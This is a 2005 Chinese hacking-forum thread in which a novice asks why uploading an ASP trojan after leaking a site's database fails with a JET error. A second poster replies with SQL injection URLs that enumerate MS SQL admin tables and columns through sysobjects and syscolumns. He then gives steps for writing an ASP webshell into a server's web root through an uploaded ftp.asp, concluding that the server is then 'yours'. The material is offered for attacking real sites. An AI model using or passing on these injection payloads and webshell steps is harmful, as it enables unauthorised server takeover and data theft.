标题: 关于asp木马暴库的菜鸟问题 [打印本页]
作者: Evi 时间: 2005-4-10 10:10 标题: 关于asp木马暴库的菜鸟问题
我在暴库program by dlog成功后遇到了这样的问题
请知道的朋友帮助解答
成功暴库后上传asp木马
提示如下HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/5.0
Date: Sun, 10 Apr 2005 01:56:02 GMT
X-Powered-By: ASP.NET
Content-Length: 278
Content-Type: text/html
Set-Cookie: ASPSESSIONIDSQBABDCB=DHDGDNPAMPOALEKILCCFPDPD; path=/
Cache-control: private
Microsoft JET Database Engine
错误 ';80040e10';
至少一个参数没有被指定值。
/carmen/day/log_lib.asp，行11
请问这是为什么？
同时怎样解决 ？
是不是因为木马未配置好的缘故？如果是该如何配置
谢谢 :em05:
作者: 坏的刚刚好 时间: 2005-4-10 11:26 标题: 关于asp木马暴库的菜鸟问题
你碰到了"数据库连接出现问题"
可以这样：暴出表中的字段
http://www.***.com/***.asp?id=1 and 0<>(select count(*)
from bbs.dbo.sysobjects where xtype=';U'; and name=';admin';
and uid>(str(id)))
得到UID的数值假设为18779569 uid=id
提交：
http://www.***.com/***.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.syscolumns where id=18779569)
得到一个admin的一个字段,假设为 user_id
提交：
http://www.***.com/***.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.syscolumns where id=18779569 and name not in
(';id';,...))
来暴出其他的字段
“关于木马上传”
如 http://127.0.0.1/ftp.asp （这里假设服务器的ip是 127.0.0.1）
在生成文件栏 输入将在服务器上生成的文件名比如：C:\Inetpub\wwwroot\Server.asp
在文件内容里 ，随意的粘贴一个asp代码
点递交，当http://127.0.0.1/ftp.asp 文件执行完毕 基本上服务器上的asp木马就生成了。
浏览http://127.0.0.1/Server.ASP 服务器就是你的了。
作者: Evi 时间: 2005-4-10 20:39 标题: 关于asp木马暴库的菜鸟问题
晕 我不是太看的懂
有人能通俗的解释一下吗？
看来我得恶补一下asp知识了
| 欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/) |
Powered by Discuz! 7.2 |